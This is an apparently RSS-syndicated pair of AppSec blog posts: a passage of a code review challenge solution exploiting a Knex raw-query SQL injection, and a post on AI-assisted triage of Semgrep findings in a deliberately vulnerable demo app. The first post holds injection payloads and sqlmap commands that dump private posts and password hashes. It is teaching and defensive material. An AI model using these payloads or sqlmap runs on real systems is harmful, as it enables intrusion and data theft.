it&#39;s indistinguishable from SQL the developer wrote. <a href="https://knexjs.org/guide/raw.html">Knex&#39;s raw docs</a> are clear that only ? bindings are escaped.</li></ul><p>The only check on q is typeof query !== &#39;string&#39;, which stops arrays and objects but not quotes. And the privacy rule (p.is_private = false OR p.user_id = ?) is in the same SQL string, so anyone who can inject SQL there can override it.</p><blockquote><em>💡 </em><strong><em>Reviewer’s lesson:</em></strong><em> a safe library protects only the queries that go through it. Hunt for the escape hatches (</em><em>raw, </em><em>whereRaw, </em><em>orderByRaw), and in each one check that </em><strong><em>every</em></strong><em> value is a binding, not just the one that looks like it was done right. Unusual features, like full-text or vector search, are exactly where developers step off the safe path.</em></blockquote><h3>6. 🧪 Exploitation</h3><h3>Why the classic payload fails</h3><p>The textbook test is x&#39;) OR 1=1 --. Here it returns a 500:</p><pre>$ curl -s -G http://localhost:3000/api/posts/search --data-urlencode &quot;q=x&#39;) OR 1=1 --&quot;<br>{&quot;error&quot;:&quot;Internal server error&quot;}</pre><p>The app log shows why. The term lands in <strong>two</strong> places. The payload closes the first one cleanly, but the -- comment in the second one swallows the closing brackets of the ORDER BY:</p><pre>ORDER BY ts_rank(to_tsvector(...), plainto_tsquery(&#39;english&#39;, &#39;x&#39;) OR 1=1 --&#39;)) DESC<br>LIMIT 50<br> - syntax error at or near &quot;LIMIT&quot;</pre><p>A 500 doesn’t mean “not exploitable”. It means the payload has to be valid SQL in <strong>both</strong> places. You don’t need to be an expert at building SQL injection payloads to get there, because you can automate it.</p><h3>The setup</h3><p>A victim, Alice, has a public post and a private one. Bob has a weak password:</p><pre>B=http://localhost:3000/api<br>curl -s -X POST $B/auth/register -H Content-Type:application/json \<br>  -d &#39;{&quot;username&quot;:&quot;alice&quot;,&quot;email&quot;:&quot;alice@example.com&quot;,&quot;password&quot;:&quot;alicepass123&quot;}&#39;<br>A=$(curl -s -X POST $B/auth/login -H Content-Type:application/json \<br>  -d &#39;{&quot;username&quot;:&quot;alice&quot;,&quot;password&quot;:&quot;alicepass123&quot;}&#39; | jq -r .token)<br>curl -s -X POST $B/posts -H &quot;Authorization: Bearer $A&quot; -H Content-Type:application/json \<br>  -d &#39;{&quot;title&quot;:&quot;Hello world&quot;,&quot;body&quot;:&quot;My first public post on Blogger.&quot;}&#39;<br>curl -s -X POST $B/posts -H &quot;Authorization: Bearer $A&quot; -H Content-Type:application/json \<br>  -d &#39;{&quot;title&quot;:&quot;Acquisition plans&quot;,&quot;body&quot;:&quot;Secret: we are buying Initech next quarter.&quot;,&quot;is_private&quot;:true}&#39;<br>curl -s -X POST $B/auth/register -H Content-Type:application/json \<br>  -d &#39;{&quot;username&quot;:&quot;bob&quot;,&quot;email&quot;:&quot;bob@example.com&quot;,&quot;password&quot;:&quot;password&quot;}&#39;</pre><p><strong>Control:</strong> the private post is protected everywhere else:</p><pre>$ curl -s $B/posts/2<br>{&quot;error&quot;:&quot;Access denied&quot;}<br>$ curl -s -G $B/posts/search --data-urlencode &quot;q=acquisition&quot;<br>{&quot;posts&quot;:[]}</pre><p>Every command below runs <strong>without any token or cookie</strong>. The attacker doesn’t need an account.</p><h3>Step 1: let sqlmap find a payload that works</h3><p><a href="https://sqlmap.org/">sqlmap</a> tries hundreds of payloads until one works:</p><pre>$ sqlmap -u &quot;http://localhost:3000/api/posts/search?q=1&quot; -p q --risk=3 --level=5 \<br>    --dbms=PostgreSQL --batch --time-sec 1 --is-dba<br>...<br>[10:20:49] [WARNING] heuristic (basic) test shows that GET parameter &#39;q&#39; might not be SQL injectable<br>...<br>[10:20:55] [INFO] GET parameter &#39;q&#39; appears to be &#39;PostgreSQL &gt; 8.1 AND time-based blind&#39; injectable<br>...<br>Parameter: q (GET)<br>    Type: time-based blind<br>    Title: PostgreSQL &gt; 8.1 AND time-based blind<br>    Payload: q=1&#39;||(SELECT (CHR(89)||CHR(114)||CHR(84)||CHR(66)) WHERE 3661=3661 AND 7927=(SELECT 7927 FROM PG_SLEEP(1)))||&#39;<br>---<br>back-end DBMS: PostgreSQL<br>current user is DBA: True<br>[10:21:08] [WARNING] HTTP error codes detected during run:<br>500 (Internal Server Error) - 584 times</pre><p>What the options do:</p><ul><li>-u &quot;…/search?q=1&quot;: the target URL, with a normal value for the parameter</li><li>-p q: test only the q parameter</li><li>--level=5 --risk=3: try sqlmap&#39;s full set of payloads, including the heavier ones</li><li>--dbms=PostgreSQL: skip payloads for other databases (we know it&#39;s Postgres from docker-compose.yml)</li><li>--batch: accept the default answer to every prompt</li><li>--time-sec 1: how long the database sleeps for a &quot;yes&quot; (the default is 5)</li><li>--is-dba: check whether the database user is a superuser</li></ul><p>How to read the output:</p><ul><li><strong>“might not be SQL injectable”</strong>: sqlmap’s quick first check looks for a database error in the page and finds none, because the app hides errors behind a generic 500. A manual tester could stop here. sqlmap keeps going.</li><li><strong>584 × 500 errors</strong>: most payloads break the SQL, partly because the term lands twice.</li><li><strong>The payload that works</strong> doesn’t break <em>out</em> of the string. It glues a sub-query <em>onto</em> it with Postgres’s || (string concatenation), so the quotes stay balanced and it&#39;s valid SQL in both places. The sub-query makes the database sleep when a condition is true.</li><li><strong>Time-based blind:</strong> the search results never visibly change, so sqlmap asks yes/no questions (“is the first letter of the first username a?&quot;) and times each response. A 1-second delay means yes. It&#39;s slow, but it&#39;s fully automatic. (<a href="https://portswigger.net/web-security/sql-injection/blind#exploiting-blind-sql-injection-by-triggering-time-delays">PortSwigger explains the technique</a>.)</li><li><strong>current user is DBA: True</strong>: the app connects as the superuser the postgres image created, so the injection has full database privileges.</li></ul><p>If you want to understand how payloads like these are built, <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md">PayloadsAllTheThings’ PostgreSQL injection page</a> is a good reference.</p><h3>Step 2: read Alice’s private post</h3><pre>$ sqlmap -u &quot;http://localhost:3000/api/posts/search?q=1&quot; -p q --risk=3 --level=5 \<br>    --dbms=PostgreSQL --batch --time-sec 1 \<br>    --dump -D public -T posts -C title,body --where &quot;is_private=true&quot;<br>...<br>Database: public<br>Table: posts<br>+-------------------+---------------------------------------------+<br>| title             | body                                        |<br>+-------------------+---------------------------------------------+<br>| Acquisition plans | Secret: we are buying Initech next quarter. |<br>+-------------------+---------------------------------------------+</pre><h3>Step 3: dump the users table</h3><pre>$ sqlmap -u &quot;http://localhost:3000/api/posts/search?q=1&quot; -p q --risk=3 --level=5 \<br>    --dbms=PostgreSQL --batch --time-sec 1 \<br>    --dump -D public -T users -C username,password_hash<br>...<br>+----------+--------------------------------------------------------------+<br>| username | password_hash                                                |<br>+----------+--------------------------------------------------------------+<br>| alice    | $2b$10$b8z56oJRF405TWLN.HiFQuG1LnkzyUOpCJ9rxbWzsj80y81l6rn0K |<br>| bob      | $2b$10$/J2pPyfEzeISVD3fbQ77IutnM6iYAtQLb.ot6ugiSSehKaNMj4Tme |<br>+----------+--------------------------------------------------------------+</pre><p>sqlmap also offers a dictionary attack on the hashes it dumps. Bob’s weak password (password) falls straight away. Alice&#39;s isn&#39;t in the wordlist, so her hash holds: bcrypt buys time, but only for passwords that aren&#39;t common.</p><p><strong>Impact:</strong> anyone on the internet, with no account, can read every private post, every username, email and password hash, and anything else in the database. Because the connection is a superuser, superuser-only functions like pg_read_file are available to the attacker too.</p><p><strong>Classification:</strong> SQL Injection, <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a>, leading to a bypass of the privacy rule (<a href="https://cwe.mitre.org/data/definitions/639.html">CWE-639</a>-style impact) and exposure of the users table.</p><h3>7. 🛠️ The fix</h3><p><strong>Primary fix: bind the search term instead of interpolating it.</strong> Replace both &#39;${query}&#39; with ? and pass the term in the bindings array, once for each placeholder:</p><pre>const sql = `<br>       SELECT p.*, u.username AS author_username<br>       FROM posts p<br>       JOIN users u ON p.user_id = u.id<br>       WHERE (p.is_private = false OR p.user_id = ?)<br>-        AND to_tsvector(&#39;english&#39;, p.title || &#39; &#39; || COALESCE(p.body, &#39;&#39;)) @@ plainto_tsquery(&#39;english&#39;, &#39;${query}&#39;)<br>-      ORDER BY ts_rank(to_tsvector(&#39;english&#39;, p.title || &#39; &#39; || COALESCE(p.body, &#39;&#39;)), plainto_tsquery(&#39;english&#39;, &#39;${query}&#39;)) DESC<br>+        AND to_tsvector(&#39;english&#39;, p.title || &#39; &#39; || COALESCE(p.body, &#39;&#39;)) @@ plainto_tsquery(&#39;english&#39;, ?)<br>+      ORDER BY ts_rank(to_tsvector(&#39;english&#39;, p.title || &#39; &#39; || COALESCE(p.body, &#39;&#39;)), plainto_tsquery(&#39;english&#39;, ?)) DESC<br>       LIMIT 50<br>     `;<br>-    const result = await knex.raw(sql, [uid]);<br>+    const result = await knex.raw(sql, [uid, query, query]);</pre><p>With the fix, sqlmap’s sleep payload becomes plain search text and returns instantly:</p><pre>&quot;hello&quot;                                -&gt; [{&quot;id&quot;:1,&quot;title&quot;:&quot;Hello world&quot;}] (63 ms)<br>&quot;1&#39;||(SELECT &#39;x&#39; FROM PG_SLEEP(3))||&#39;&quot; -&gt; [] (1 ms)<br>&quot;acquisition&quot;                          -&gt; [] (1 ms)   (anonymous caller: the private post stays hidden)</pre><p>plainto_tsquery is the right function for user text, because it <a href="https://www.postgresql.org/docs/current/textsearch-controls.html#TEXTSEARCH-PARSING-QUERIES">parses free text and ignores operators</a>. Once the value is bound, there&#39;s nothing left to inject.</p><p><strong>Even better: keep the query in the builder and only drop to raw SQL for the full-text expression,</strong> with bindings. The privacy filter then looks exactly like the feed’s:</p><pre>knex(&#39;posts as p&#39;)<br>  .join(&#39;users as u&#39;, &#39;p.user_id&#39;, &#39;u.id&#39;)<br>  .where((b) =&gt; { b.where(&#39;p.is_private&#39;, false); if (uid) b.orWhere(&#39;p.user_id&#39;, uid); })<br>  .whereRaw(`to_tsvector(&#39;english&#39;, p.title || &#39; &#39; || COALESCE(p.body, &#39;&#39;)) @@ plainto_tsquery(&#39;english&#39;, ?)`, [query])<br>  .orderByRaw(`ts_rank(to_tsvector(&#39;english&#39;, p.title || &#39; &#39; || COALESCE(p.body, &#39;&#39;)), plainto_tsquery(&#39;english&#39;, ?)) DESC`, [query])<br>  .limit(50)<br>  .select(&#39;p.*&#39;, &#39;u.username as author_username&#39;);</pre><p><strong>Defense-in-depth (do these too):</strong></p><ol><li><strong>Use a least-privilege database role.</strong> Don’t connect as the superuser. An app role with only SELECT/INSERT/UPDATE/DELETE on users and posts limits what any injection can do.</li><li><strong>Enforce privacy in the database</strong> with <a href="https://www.postgresql.org/docs/current/ddl-rowsecurity.html">PostgreSQL Row-Level Security</a> on posts, so a single buggy query can&#39;t return someone else&#39;s private rows.</li><li><strong>Ban template literals in raw SQL</strong> with a lint or SAST rule, e.g. a custom Semgrep rule matching knex.raw(`...${$X}...`) and whereRaw(`...${$X}...`) in CI. In the video, Semgrep&#39;s default rules didn&#39;t flag this one, so you&#39;d need a custom rule.</li><li><strong>Cap the length of </strong><strong>q</strong> and reject control characters. It&#39;s cheap, and it shrinks what any future bug can do.</li><li><strong>Keep database errors generic</strong> (already done here), and <strong>alert on SQL syntax errors</strong> in the logs. The failed OR 1=1 -- attempts are a loud signal.</li></ol><h3>🌍 Real-world examples</h3><ul><li><a href="https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/"><strong>Pre-Auth SQL Injection to RCE: Fortinet FortiWeb Fabric Connector (CVE-2025–25257)</strong></a> (watchTowr Labs). The researchers diffed two FortiWeb versions and found the fix had replaced a string-formatted query (&quot;... where token=&#39;%s&#39;&quot;) with a prepared statement. The input came from the Authorization: Bearer header on an endpoint that needs no login. Like Blogger&#39;s double insertion, the obvious payloads didn&#39;t work at first (no spaces, 128-character limit), so they adapted. Because the database ran with high privileges, they wrote a file to disk and got remote code execution.</li><li><a href="https://ian.sh/tsa"><strong>Bypassing airport security via SQL injection</strong></a> (Ian Carroll &amp; Sam Curry). A single &#39; in the FlyCASS login form returned a MySQL error. They confirmed the injection with sqlmap, logged in as an airline admin and added a made-up crew member who was approved for the programs that let crew skip airport security screening. It&#39;s a different query, with the same root cause: user input pasted into a SQL string.</li></ul><h3>📚 More resources</h3><ul><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html">OWASP SQL Injection Prevention Cheat Sheet</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html">OWASP Query Parameterization Cheat Sheet</a></li><li><a href="https://knexjs.org/guide/raw.html">Knex: raw queries &amp; bindings</a></li><li><a href="https://www.postgresql.org/docs/current/ddl-rowsecurity.html">PostgreSQL: Row Security Policies</a></li><li><a href="https://sqlmap.org/">sqlmap</a> and its <a href="https://github.com/sqlmapproject/sqlmap/wiki/Usage">usage wiki</a></li><li><a href="https://portswigger.net/web-security/sql-injection">PortSwigger Web Security Academy: SQL injection</a> and <a href="https://portswigger.net/web-security/sql-injection/blind">Blind SQL injection</a></li></ul><h3>🎯 Takeaway</h3><p>A query builder doesn’t make an app injection-proof. It only protects the queries that go through it. Blogger had dozens of safe queries and one hand-written search query, and that one was enough to read the whole database. Find the escape hatches (raw, whereRaw, orderByRaw) and check that <strong>every</strong> value in them is a binding.</p><p>And when an injection “only errors”, don’t call it safe. Here the obvious test returned a 500, yet sqlmap turned it into a full database read without a single hand-written payload.</p><h3>🔔 What’s next</h3><p><strong>Challenge #8: Employee Directory</strong> is live now. Can you find the bug before the solution drops?</p><p>👉 <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/008-employee-directory">https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/008-employee-directory</a></p><p>New challenges land every two weeks, and each drop includes the previous challenge’s solution. <strong>Watch the repo</strong> (Watch → Custom → Releases) to get notified, and subscribe to <a href="https://www.youtube.com/@AppSecUntangled">AppSec Untangled on YouTube</a> for the video walkthroughs.</p><p>If you found the bug yourself, or took a different route to it, tell me in the comments 👇</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tK9EwCcCBWh4JqjV7HO-9w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a29115a9857" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsec-untangled/the-secure-code-review-challenge-solution-7-blogger-one-raw-query-is-all-it-takes-4a29115a9857">The Secure Code Review Challenge — Solution #7: Blogger (One Raw Query Is All It Takes)</a> was originally published in <a href="https://medium.com/appsec-untangled">AppSec Untangled</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Use AI to Get Smarter, Not Lazier]]></title>
            <link>https://medium.com/appsec-untangled/use-ai-to-get-smarter-not-lazier-86226310d770?source=rss----b758e7bb6f4f---4</link>
            <guid isPermaLink="false">https://medium.com/p/86226310d770</guid>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <dc:creator><![CDATA[Mohamed AboElKheir]]></dc:creator>
            <pubDate>Tue, 06 Oct 2026 17:51:40 GMT</pubDate>
            <atom:updated>2026-10-06T18:51:53.114Z</atom:updated>
            <content:encoded><![CDATA[<p>I promise this isn’t another post saying AI is making us dumber.</p><p>AI does make us faster, and we can’t afford to give that up. But if you’re not careful, “faster” quietly turns into “I shipped this and can’t explain it”. This post is about a way to use AI that keeps the speed <strong>and</strong> leaves you understanding what you did.</p><p>I’ll explain the problem first, then walk through one of my day-to-day tasks, triaging static analysis (SAST) findings, done two ways: with a one-line “just triage it” prompt, and with AI used to help me <em>understand</em>. Both reach the same verdicts. Only one of them leaves me able to defend those verdicts.</p><p>🎥 <strong>Prefer video?</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fz_A_UVAFx0M%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dz_A_UVAFx0M&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fz_A_UVAFx0M%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/fbea085d4fe3517d77458fe01bf8057f/href">https://medium.com/media/fbea085d4fe3517d77458fe01bf8057f/href</a></iframe><h3>🛤️ The long way is where the learning happens</h3><p>Every task is a trip from “task” to “done”. The long way is reading, searching, trying, failing and trying again. It’s slow, but that’s where you pick up tools, debugging habits, patterns, mental models, trade-offs and skills.</p><p>Humans take the path of least resistance, so we’ve always looked for shortcuts. Copying an answer from Stack Overflow was the classic one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*E2wkXX-_OIWK6i8z.png" /><figcaption>The long way picks up tools, debugging, patterns, mental models, trade-offs and skills. Stack Overflow is the first shortcut.</figcaption></figure><h3>⚡ AI is the ultimate shortcut</h3><p>Now a huge share of our tasks can be done, fully or partly, by telling AI: <em>“do it for me”</em>. Most of the time the result is good enough.</p><p>That shortcut skips the long way entirely. We also can’t simply refuse it: what’s expected of us has gone up, because everyone can now get more done with AI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*-8eJLjxuyzhc21Rr.png" /><figcaption>The AI shortcut goes straight from task to done and skips everything on the long way.</figcaption></figure><h3>🌡️ Cognitive debt</h3><p>Skip the learning once and nothing happens. But each time you take the shortcut, you finish a task without fully understanding how it works or why it was done that way. That gap is <strong>cognitive debt</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*RCIeHZmgDHpWfhahUfakRA.gif" /><figcaption>Every task done by AI pushes the cognitive debt meter up, towards the threshold.Every task done by AI pushes the cognitive debt meter up, towards the threshold.</figcaption></figure><p>The debt stays invisible for a while. Then one day you hit a problem AI can’t solve, and you have no idea where you are, where to start or where to go. We’ve all heard of codebases that were thrown away because rebuilding them was easier than understanding them, sometimes even for the AI that wrote them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*i9AsASYBr2YfJRLS.png" /><figcaption>The debt boils over: a problem AI can’t solve, and you don’t know where to start.</figcaption></figure><h3>⚖️ The fix: a shortcut that balances doing and understanding</h3><p>The answer isn’t to stop using AI. It’s to take a slightly <strong>longer</strong> shortcut, one that balances two things:</p><ul><li><strong>Doing:</strong> finishing the task, fast.</li><li><strong>Understanding:</strong> knowing what was done, how, and why (the decisions and trade-offs), and learning to do it yourself.</li></ul><p>You’re still much faster than on the long way, but you arrive smarter instead of in debt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*JwSr6enqRuTq1MEn.png" /></figure><p>You don’t need to do this for everything. Set a threshold based on risk: a throwaway script can take the fast path. A decision you’ll have to defend, like a security finding, can’t.</p><p>The good news: AI is also very good at helping you <strong>understand</strong>. Here’s what that looks like on a real task.</p><h3>🧪 The demo: triaging Semgrep findings</h3><p>The app is a small Express + PostgreSQL order tracker, built in layers like a real app: route → middleware → controller → service → repository. Customers list their orders, download CSV exports and leave comments. Admins see revenue reports.</p><p>📌 <strong>Demo repo:</strong> <a href="https://github.com/mohamed-osama-aboelkheir/ai-sast-triage-demo">mohamed-osama-aboelkheir/ai-sast-triage-demo</a>. It’s deliberately vulnerable. main is the clean app; <a href="https://github.com/mohamed-osama-aboelkheir/ai-sast-triage-demo/tree/reference-output">reference-output</a> has everything the AI produced in this post.</p><p>I ran Semgrep (the free p/default ruleset) and got a handful of findings, all marked as blocking:</p><ul><li>SQL injection in orderRepository.js (ORDER BY ${orderBy})</li><li>SQL injection in reportRepository.js (FROM ${tableName})</li><li>Path traversal in exportService.js</li><li>XSS through an unescaped EJS tag in comments.ejs</li><li>No CSRF middleware in app.js</li></ul><p>As an AppSec engineer, my job is to decide which are real, how severe they are, and which ones are worth an engineer’s time. And let’s say I don’t know this codebase well.</p><h3>⚡ Approach 1: “just triage it”</h3><p>The shortest path: open Claude Code, paste the Semgrep output, and ask:</p><blockquote><em>semgrep scan returned the below results, please triage the findings and let me know which are true and which are false positive, and suggest severity and fixes</em></blockquote><p>A couple of minutes later I had a tidy answer:</p><ul><li>SQL injection in ORDER BY: <strong>true positive, High</strong></li><li>Path traversal in /exports: <strong>true positive, High</strong></li><li>Table name in reportRepository: false positive</li><li>&lt;%- %&gt; XSS: false positive</li><li>Missing CSRF middleware: false positive</li></ul><p>It’s a good answer, and it even explains itself. But look at the two SQL injection findings:</p><pre>// src/repositories/orderRepository.js — flagged<br>`SELECT id, total, status, created_at FROM orders<br> WHERE user_id = $1 AND ($2::text IS NULL OR status = $2)<br> ORDER BY ${orderBy}`</pre><pre>// src/repositories/reportRepository.js — flagged<br>`SELECT count(*)::int AS orders, coalesce(sum(total), 0) AS revenue FROM ${tableName}`</pre><p>Same library, same pattern: a variable pasted into the SQL text. One is “High”, the other is “false positive”. If I don’t know the codebase, I can’t tell whether that’s right. I could still copy the verdicts into tickets and move on. That’s fast, and it’s exactly how cognitive debt builds up. And the moment an engineer pushes back with <em>“this isn’t exploitable”</em>, I have nothing to say.</p><p>So let’s take the two SQL injection findings and do it again, with AI helping me understand.</p><h3>🧠 Approach 2: understand, trace, decide, prove</h3><p>I packaged each step as a Claude Code skill in the appsec-skills plugin, so you can repeat it:</p><pre>/plugin marketplace add mohamed-osama-aboelkheir/appsec-untangled-resources<br>/plugin install appsec-skills@appsec-untangled</pre><p>Each step leaves a file you can read, check and reuse, not chat text you throw away.</p><h3>1. 🗺️ Understand: read the code like a story</h3><p>Looking at the two flagged files on their own doesn’t tell me much. What’s orderRepository.find? Who calls reportRepository.summary? Code is written to be used by people, so the useful context is the <strong>story</strong>: which user action reaches this line, and what passes through on the way.</p><blockquote><em>Let’s start by understanding the context using the </em><em>/appsec-skills:code-walkthrough skill to explain how the affected backend routes work, and how users interact with them.</em></blockquote><p>The code-walkthrough skill produces two things for each flow:</p><ul><li>a <strong>sequence diagram</strong>: one column per layer, a colour band per phase, 🔒 for security controls, 🎯 for untrusted input and ⚠️ for the sink;</li><li>a <strong>CodeTour</strong> file, a VS Code extension that walks you through the code step by step, the way the engineer who wrote it would. Step N in the tour is step N in the diagram.</li></ul><p>Here’s the story for GET /orders (the full diagram also covers the 401/400/500 exits):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k0mGMr2RDu4JH_79AR61dA.png" /><figcaption>Sequence diagram for GET /orders: routing, authentication, input handling, data access and response, with the ORDER BY sink at step 11.</figcaption></figure><p>Two steps stand out:</p><ul><li><strong>Step 8:</strong> the controller validates status against an allowlist, but <strong>sort is not checked</strong>.</li><li><strong>Steps 9–10:</strong> sort is renamed orderColumn, then orderBy, on its way down to the query.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JwKlu-UcfK76lRIX1RyMFA.png" /><figcaption>CodeTour Extension in VS Code</figcaption></figure><p>The second story, GET /reports/:reportId, is different. It needs an admin, and the controller uses reportId to <strong>look up</strong> an entry in a config object. Unknown IDs get a 404:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4NiEd5eL7AjbGJdLKUCDgA.png" /><figcaption>Sequence diagram for GET /reports/:reportId: auth, admin role check, config lookup, then FROM ${tableName}.</figcaption></figure><p>If you were paying attention, you may already see the difference. If not, that’s what the next step is for.</p><h3>2. 🔍 Trace: source-to-sink</h3><p>Source-to-sink analysis asks one question: <strong>does user input reach the dangerous function, and does anything stop it on the way?</strong></p><blockquote><em>Now using this context, perform the </em><em>/appsec-skills:source-to-sink analysis for both findings, and share a verdict on whether each is a true or false positive.</em></blockquote><p>The skill walks back from each sink, hop by hop. It draws one chain of code cards per source, with the value in bold on every line and arrows named after what the value is called next.</p><p><strong>Finding 1:</strong> a red chain (user input) goes from req.query.sort straight to ORDER BY. The only check on the way (🚫) covers status, not sort:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6g8oNOpY477Wh3Z1a7n0yg.png" /><figcaption>Source-to-sink trace: req.query.sort → orderColumn → orderBy → ORDER BY ${orderBy}. The status allowlist doesn’t cover sort.</figcaption></figure><p>Here’s that path in the code (<a href="https://github.com/mohamed-osama-aboelkheir/ai-sast-triage-demo/blob/main/src/controllers/ordersController.js#L5-L13">controller</a>, <a href="https://github.com/mohamed-osama-aboelkheir/ai-sast-triage-demo/blob/main/src/services/orderService.js#L3-L4">service</a>):</p><pre>// src/controllers/ordersController.js<br>exports.list = async (req, res) =&gt; {<br>  const { status, sort } = req.query;<br>  if (status &amp;&amp; !ALLOWED_STATUSES.includes(status)) {   // only status is checked<br>    return res.status(400).json({ error: &#39;invalid status&#39; });<br>  }<br>  const orders = await orderService.search({ status, orderColumn: sort }, req.user);<br>  res.json(orders);<br>};<br><br>// src/services/orderService.js<br>exports.search = (filters, user) =&gt;<br>  orderRepository.find(user.id, filters.status, filters.orderColumn || &#39;created_at&#39;);</pre><p>$1 and $2 are bound parameters, but column names can&#39;t be bound, so ORDER BY ${orderBy} takes whatever the user sends. <strong>True positive.</strong></p><p><strong>Finding 2:</strong> the user’s reportId stops ✋ at a lookup into a hard-coded object. The value that actually reaches FROM is a blue chain (config), not user input:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CmGiyDiBxGs0kFvEjtQE3w.png" /><figcaption>Source-to-sink trace: reportId is only used as an object key; the table name comes from config/reports.js.</figcaption></figure><p>(<a href="https://github.com/mohamed-osama-aboelkheir/ai-sast-triage-demo/blob/main/src/controllers/reportsController.js#L4-L9">controller</a>, <a href="https://github.com/mohamed-osama-aboelkheir/ai-sast-triage-demo/blob/main/src/config/reports.js">config</a>)</p><pre>// src/config/reports.js<br>module.exports = {<br>  daily:   { title: &#39;Orders in the last 24 hours&#39;, table: &#39;orders_daily_summary&#39; },<br>  monthly: { title: &#39;Orders this month&#39;,           table: &#39;orders_monthly_summary&#39; },<br>};<br><br>// src/controllers/reportsController.js<br>const definition = reports[req.params.reportId];   // input picks an entry...<br>if (!definition) return res.status(404).json({ error: &#39;unknown report&#39; });<br>res.json(await reportService.build(definition));   // ...the table name comes from config</pre><p>The user chooses <em>which</em> trusted value is used. They never supply SQL. <strong>False positive.</strong> It’s still worth a low-priority fix (an allowlist, or Object.hasOwn, so /reports/constructor doesn&#39;t return a 500), but it&#39;s nowhere near as urgent as finding 1.</p><blockquote><em>💡 </em><strong><em>The two sinks look identical. Only the trace tells them apart.</em></strong></blockquote><p>I reached the same verdicts as the one-line prompt. The difference is that I can now <strong>defend</strong> them: I can show an engineer the exact path, the missing check and the fix.</p><h3>3. 📋 Decide: an output template with evidence</h3><p>That worked for two findings. To do it at scale, I use another trick: an <strong>output template</strong>. When I triage by hand, I look for the same things every time: the sink, the inputs that reach it, the path between them, the controls on that path, and then a verdict and a severity. So I make the AI fill in exactly those fields.</p><blockquote><em>Now using this context, use </em><em>/appsec-skills:semgrep-triage to triage both findings.</em></blockquote><p>The semgrep-triage skill runs source-to-sink for every finding, checks each control against a wiki of mitigations and known bypasses, and writes one report. Here are the important parts for finding 1 (abridged):</p><p><strong>F1 · SQL injection in </strong><strong>ORDER BY via </strong><strong>sort · ✅ True positive · 🟠 High ⬆️</strong></p><ul><li><strong>Inputs reaching it:</strong> 🔴 req.query.sort (any logged-in user) <strong>reaches the sink unchanged</strong>; ⚪ &#39;created_at&#39; is the constant default.</li><li><strong>Controls on the path:</strong></li></ul><p>requireAuth: decides <em>who</em> can send sort, not what it contains.</p><p>🚫 Status allowlist: checks status only.</p><p>🚫 Parameterised query: binds userId and status; identifiers can&#39;t be bound.</p><p>🚫 Sort allowlist: <strong>none</strong>.</p><ul><li><strong>Severity:</strong> 🟠 High = Impact High × Likelihood Medium. ORDER BY accepts sub-selects, so the row order becomes a yes/no oracle over the whole database, including the admin&#39;s API token. Any logged-in user can reach it.</li><li><strong>Why Semgrep says less:</strong> the rule’s MEDIUM/LOW is generic. It can’t see that orderBy comes straight from the query string.</li><li><strong>Suggested fix:</strong> an allowlist of sort columns, right next to the existing status check:</li></ul><pre>const SORT_COLUMNS = new Map([[&#39;total&#39;, &#39;total&#39;], [&#39;status&#39;, &#39;status&#39;], [&#39;created_at&#39;, &#39;created_at&#39;]]);<br><br>if (sort !== undefined &amp;&amp; !SORT_COLUMNS.has(sort)) {<br>  return res.status(400).json({ error: &#39;invalid sort&#39; });<br>}<br>const orders = await orderService.search({ status, orderColumn: SORT_COLUMNS.get(sort) }, req.user);</pre><p>The part I care about most is <strong>Evidence (Manual Reproduction)</strong>: the steps to reach the same conclusion myself, without trusting the AI.</p><ol><li>Read the sink: src/repositories/orderRepository.js:7-11.</li><li>Find who calls it: grep -rn &quot;orderRepository.find&quot; src → orderService.js:4.</li><li>Find where orderColumn is set: grep -rn &quot;orderColumn&quot; src → ordersController.js:11, orderColumn: sort.</li><li>Find where sort comes from: ordersController.js:6, req.query. The only check (:7) is on status.</li><li>Find who can send it: routes/orders.js:5, requireAuth only.</li><li>Confirm locally: ?sort=total → 200 sorted by total; ?sort=price → 500, and the server log shows column &quot;price&quot; does not exist. The value reached the SQL text.</li></ol><p>And for the false positive, the report doesn’t just dismiss it. It says <strong>when it would become real</strong>, and what to do with the rule:</p><ul><li><strong>Would become a true positive if:</strong> tableName were ever taken from the request.</li><li><strong>Rule decision:</strong> keep the rule enabled (it found a real bug in F1) and suppress this one instance with a comment that points to the triage.</li></ul><p>The template does two things. It makes the AI follow the steps I would follow. (Without it, a model will often give a verdict, then admit <em>“actually I didn’t check X”</em> when you push.) And it teaches me the pattern every time I read a report. If you’d like to test yourself first, run it with --learn: you give your own verdict, then 